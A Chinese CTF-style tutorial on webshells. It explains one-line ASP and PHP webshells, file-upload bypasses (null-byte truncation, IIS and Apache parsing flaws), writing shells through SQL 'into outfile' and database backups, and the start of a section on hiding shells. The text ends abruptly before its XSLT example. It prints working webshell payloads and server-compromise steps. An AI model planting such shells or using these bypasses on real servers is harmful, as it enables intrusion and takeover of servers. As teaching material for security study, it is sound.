CTF-web第⼗部分webshell基础与免杀
⼀、什么是webshell
(1)webshell简介
webshell,顾名思义:web指的是在web服务器上,⽽shell是⽤脚本语⾔编写的脚本程序,webshell就是就是web的⼀个管理⼯具,可以对web服务器进⾏操作的权限,也叫webadmin。webshell⼀般是被⽹站管理员⽤于⽹站管理、服务器管理等等⼀些⽤途,但是由于webshell的功能⽐较强⼤,可以上传下载⽂件,查看数据库,甚⾄可以调⽤⼀些服务器上系统的相关命令(⽐如创建⽤户,修改删除⽂件之类的),通常被⿊客利⽤,⿊客通过⼀些上传⽅式,将⾃⼰编写的webshell上传到web服务器的页⾯的⽬录下,然后通过页⾯访问的形式进⾏⼊侵,或者通过插⼊⼀句话连接本地的⼀些相关⼯具直接对服务器进⾏⼊侵操作。
(2)webshell的分类
webshell根据脚本可以分为PHP脚本⽊马,ASP脚本⽊马,也有基于.NET的脚本⽊马和JSP脚本⽊马。在国外,还有⽤python脚本语⾔写的动态⽹页,当然也有与之相关的webshell。
根据功能也分为⼤马与⼩马,⼩马通常指的⼀句话⽊马,例如:<%eval request(“pass”)%>通常把这句
话写⼊⼀个⽂档⾥⾯,然后⽂件名改成xx.asp。然后传到服务器上⾯。这⾥eval⽅法将request(“pass”)转换成代码执⾏,request函数的作⽤是应⽤外部⽂件。这相当于⼀句话⽊马的客户端配置。服务器配置(即本机配置):
默认配置:
<form action=主机路径/TEXT.asp method=post>
<textarea name=value cols=120 rows=10 width=45>
set ateObject("Adodb.Stream")//建⽴流对象shell创建文件并写入内容
lP.Open //打开
lP.Type=2 //以⽂本⽅式
lP.CharSet="gb2312" //字体标准
lP.writetext request("newvalue")
lP.SaveToFile server.mappath("newmm.asp"),2 //将⽊马内容以覆盖⽂件的⽅式写⼊newmm.asp,2就
是已覆盖的⽅式
lP.Close //关闭对象
set lP=nothing //释放对象
</textarea>
<textarea name=newvalue cols=120 rows=10 width=45>(添⼊⽣成⽊马的内容)
</textarea>
<BR>
<center>
<br>
<input type=submit value=提交>
这⾥通过提交表单的⽅式,将⽊马提交上去,具体的做法是将定义⼀个对象IP,然后以⽂本⽅式写⼊newvalue⾥⾯的内容(newvalue的内容在textarea定义),写⼊以覆盖的⽅式产⽣ASP⽂件,然后执⾏这个脚本。其中客户端中的value代表的是表单的名字,必须跟服务端(本机)的post提交中的表单名⼀样,所以这⾥的value可以为任意字符,相当于⼀个密码之类的东西,但是这个‘密码’是明⽂的,可以截取下来。PHP的⼀句话原理跟以上的原理差不多,就是语⾔的差别导致语法不同。这就是⼩马的基本⼯作原理。
⼤马的⼯作模式简单的多,他没有客户端与服务端的区别,就是⼀些脚本⼤⽜直接把⼀句话⽊马的服务端整合到了⼀起,通过上传漏洞将⼤马上传,然后复制该⼤马的url地址直接访问,在页⾯上执⾏对web服务器的渗透⼯作。但是有些⽹站对上传⽂件做了严格的限制,因为⼤马的功能较多,所以体积相对较⼤,很有可能超出了⽹站上传限制,但是⼩马的体积可以控制(⽐如把代码复制很多遍,或者在⼀个乱码⽂件中夹⼊代码),但是⼩马操作起来⽐较繁琐,可以先上传⼩马拿到webshell,然后通过⼩马的连接上传⼤马拿到服务器。
⼆ webshell常见获取⽅式
(1)上传漏洞获取WebShell
⾸先说我们最常见的,已经讲过的上传漏洞,通过上传⼀句话⽊马等,获得服务器的执⾏权利。
⽂件上传漏洞主要有以下⼏种情况:
MIME类型绕过漏洞(讲过)
⽂件扩展名绕过漏洞(讲过)
⽂件内容检测绕过类上传漏洞(讲过)
空字节截断⽬录路径检测绕过类上传漏洞  (讲过)
我们可以将Request包的Content-type修改,就可以成功绕过了服务端MIME类型检测,像这种服务端检测http包的Content-type都可以⽤这种类似⽅法来绕过
检测解析导致的⽂件上传漏洞:
IIS6.0站上的⽬录路径检测解析绕过上传漏洞
Apache站上的解析缺陷绕过上传漏洞
htaccess⽂件上传解析漏洞
这其中的技术点主要是使⽤Bp修改⼀些请求的参数,包括使⽤00截断操作⽂件名,更改类型,当然还有⼆进制连接等⼿段。
还有⼀些编辑器存在漏洞导致的⽂件上传,⽐如FCK编辑器。具体请看i春秋学院视频,还可以做实验,链接如下:⾮法⽂件上传漏洞技术解析及防御
(2)sql注⼊获取webshell
⼀直以来,都以为sql注⼊都是⽤来暴露和查询关键信息的,其实对于数据库操作来说,SQL注⼊攻击可以获取WebShell其实就是在向服务器写⽂件。(注意:这⾥我们需要得到⽹站的绝对路径)所有常⽤的关系数据库管理系统(RDBMS)均包含内置的向服务器⽂件系统写⽂件的功能。
MySQL:
select into outfile(dumpfile)  //MySQL写⽂件命令
# 例如:
select "<?php echo 'test'; ?>" into outfile "F:\\www\\test.php";
那么其它关系数据库管理系统同样的原理写⽂件,就不在过多介绍了
(3)数据库备份获取WebShell
对于这个⽅法,我遇见过得就是拿到管理员账号和密码之后是可以登录后台的,虽然存在上传的地⽅,但是只能是jpg图像,这个时候必须还得将它改成.asp后缀。这⾥可以⽤到⽹站中的数据库备份漏洞。在后台的“系统管理”中提供了“数据库备份”功能,我们可以将上传上去的图⽚⽂件作为要备份的数据库,然后利⽤可以指定备份⽂件名的漏洞,把备份后的⽂件改名成.asp后缀。具体操作如下图所⽰。
成功备份之后,记下已更名的webshell⽂件的路径\wwwroot\admin\.\admin\webshell.asp。
这⾥就成功地将webshell上传到了⽹站,输⼊URL:我们就可以访问这个⽹页了,由于他这个是个⼤马所以可以这样,我们⼀般的⼀句话⽊马没有任何内容,⼀般是使⽤中国菜⼑进⾏连接。
(4)CMS获取WebShell
什么是CMS?
CMS是Content Management System的缩写,意为"内容管理系统"。 内容管理系统是企业信息化建设和电⼦政务的新宠,也是⼀个相对较新的市场。对于内容管理,业界还没有⼀个统⼀的定义,不同的机构有不同的理解。
常见的CMS有哪些?
asp平台:动易CMS、创⼒CMS、科汛CMS、新云CMS;
php平台:phpcms、织梦CMS、帝国CMS、php168 CMS;
ASP.NET平台:Zoomla!逐浪CMS、动易CMS、风讯CMS、We7 CMS;
CMS获取WebShell⽅法
公开漏洞途径:以PHPCMS为例:
我们可以利⽤搜索引擎来查互联⽹上公开的通⽤漏洞,如果⽬标站点并没有进⾏修复,即可轻松获
取WebShell。
代码审计途径:
有很多CMS其实是开源的,我们可以在官⽹下载到源码,然后进⾏代码审计,⾃⼰挖掘漏洞, 来获取WebShell。
下⾯是⼀个⼩⼩的总结,描述了⼀些具体的原理和⽅法:
1.解析漏洞上传
现在对于不同的web服务器系统对应的有不同的web服务端程序,windows端主流的有iis,linux端主流的有nginx。这些服务对搭建web服务器提供了很⼤的帮助,同样也对服务器带来隐患,这些服务器上都存在⼀些漏洞,很容易被⿊客利⽤。
(1)iis⽬录解析漏洞
⽐如:/xx.asp/xx.jpg
虽然上传的是JPG⽂件,但是如果该⽂件在xx.asp⽂件夹下,那个iis会把这个图⽚⽂件当成xx.asp解析,这个漏洞存在于iis5.x/6.0版本。
(2)⽂件解析漏洞
⽐如:xx.asp;.jpg。在⽹页上传的时候识别的是jpg⽂件,但是上传之后iis不会解析;之后的字符,同样会把该⽂件解析成asp⽂件,这个漏洞存在于iis5.x/6.0版本。
(3)⽂件名解析
⽐如:xx.cer/xx.cdx/xx.asa。在iis6.0下,cer⽂件,cdx⽂件,asa⽂件都会被当成可执⾏⽂件,⾥⾯的asp代码也同样会执⾏。(其中asa⽂件是asp特有的配置⽂件,cer为证书⽂件)。
(4)fast-CGI解析漏洞
在web服务器开启fast-CGI的时候,上传图⽚xx.jpg。内容为:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[shell])?>');?>
这⾥使⽤的fput创建⼀个shell.php⽂件,并写⼊⼀句话。访问路径xx.jpg/.php,就会在该路径下⽣成⼀个⼀句话⽊马shell.php。这个漏洞在IIS 7.0/7.5,Nginx 8.03以下版本存在。语⾔环境:PHP,prel,Bourne Shell,C等语⾔。
*注:fast-CGI是CGI的升级版,CGI指的是在服务器上提供⼈机交互的接⼝,fast-CGI是⼀种常驻型的CGI。因为CGI每次执⾏时候,都需要⽤fork启⽤⼀个进程,但是fast-CGI属于激活后就⼀直执⾏,不需要每次请求都fork⼀个进程。⽐普通的CGI占的内存少。
(5)apache解析漏洞
apache解析的⽅式是从右向左解析,如果不能解析成功,就会想左移动⼀个,但是后台上传通常是看上传⽂件的最右的⼀个后缀,所以根据这个,可以将马命名为xx.php.rar,因为apache解析不了rar,所以将其解析为php,但是后台上传点就将其解析为rar,这样就绕过了上传⽂件后缀限制
2.截断上传
在上传图⽚的时候,⽐如命名1.asp .jpg(asp后⾯有个空格),在上传的时候,⽤NC或者抓到表单,将上传名asp后⾯加上%00(在burpsuite⾥⾯可以直接编辑HEX值,空格的HEX值为20,将20改为00),如果HEX为00的时候表⽰截断,20表⽰空格,如果表⽰截断的时候就为⽆视脚本中的JPG验证语句,直接上传ASP。
3.后台数据库备份
在⼀些企业的后台管理系统中,⾥⾯有⼀项功能是备份数据库(⽐如南⽅cms⾥⾯就有备份数据库的功能)。可以上传⼀张图⽚,图⽚⾥⾯含有⼀句话⽊马,或者将⼤马改成jpg格式,然后⽤数据库备份功能,将这张图⽚备份为asp等其他内容可以被解析为脚本语句的格式,然后再通过web访问就可以执⾏⽊马了,但是这种⽅法很⽼了,现在⼤多数的cms已经把这种备份的功能取消了,或者禁⽤了。
4.利⽤数据库语句上传
(1) mysql数据库into outfile
这种⽅式的前提必须是该⽹站有相应的注⼊点,⽽且当前⽤户必须要有上传的权限,⽽且必须有当前⽹页在服务器下的绝对路径。⽅法是⽤联合查询,将⼀句话⽊马导⼊到⽹站下边的⼀个php⽂件中去,然后使⽤服务端连接该⽹站。但是上述⽅法条件过于苛刻,⼀般遇到的情况很少。
(2)建⽴新表写⼊⽊马
⼀些开源cms或者⾃制的webshell会有数据库管理功能,在数据库管理功能⾥⾯有sql查询功能,先使⽤create table shell(codetext);创建⼀个名字叫做shell的表,表⾥⾯有列明叫做code,类型为text。然后使⽤insert into shell(code) values(‘⼀句话马’),这⾥讲shell表中的code列赋值为⼀句话的马,然后通过⾃定义备份,将该表备份为x.php;x然后就被解析成为php然后执⾏了,这⾥不是x.php;x就⼀定能够解析为php,不同的web服务器上⾯的服务程序不同,然后过滤规则也不同,可能会使⽤其他的⽅式。
(3)phpMyadmin设置错误
phpMyadmin⽤来管理⽹站数据库的⼀个⼯具,其中config.inc.php为其配置⽂件,在查看的该⽂件的时候,如果$cfg[‘Servers’][$i] [‘auth_type’]参数的值设置没有设置(默认为config)说明在登陆数据库的时候没有做相应的验证,可以直接连⼊数据库,⽽且在Mysql在⼀些版本下⾯默认登陆都是以root⽤户进⾏登陆(即管理员),所以登陆进去为最⼤权限。但是root⼀般只能本地登陆,所以必须创建⼀个远程登陆⽤户。⽤远程登陆⽤户登陆之后,创建⼀个表,然后再将⼀句话⽊马写⼊。
三 webshell的隐藏
对于很多实际的⽹站可能不像我们ctf什么的会有那么少的检查和过滤,关键的时候我们需要掌握⼀些可以隐藏信息的⽅法。
(1)特殊的格式或者⽤法
在⽹页的解析中,会⽀持⼀些特殊的⽤法,或者有⼀些不同以往的格式,这是我们可以利⽤的,例如
基于xslt转换的WebShell
在了解什么是xslt之前,我们需要先了解什么是xsl,XSL是可扩展样式表语⾔的外语缩写,是⼀种⽤于以可读式呈现 XML(标准通⽤标记语⾔的⼦集)数据的语⾔。XSL - 不仅仅是样式表语⾔。XSL 包括三部分:XSLT - ⼀种⽤于转换 XML ⽂档的语⾔。XPath - ⼀种⽤于在XML ⽂档中导航的语⾔。XSL-FO - ⼀种⽤于格式化 XML ⽂档的语⾔。
官⽅的例⼦

版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。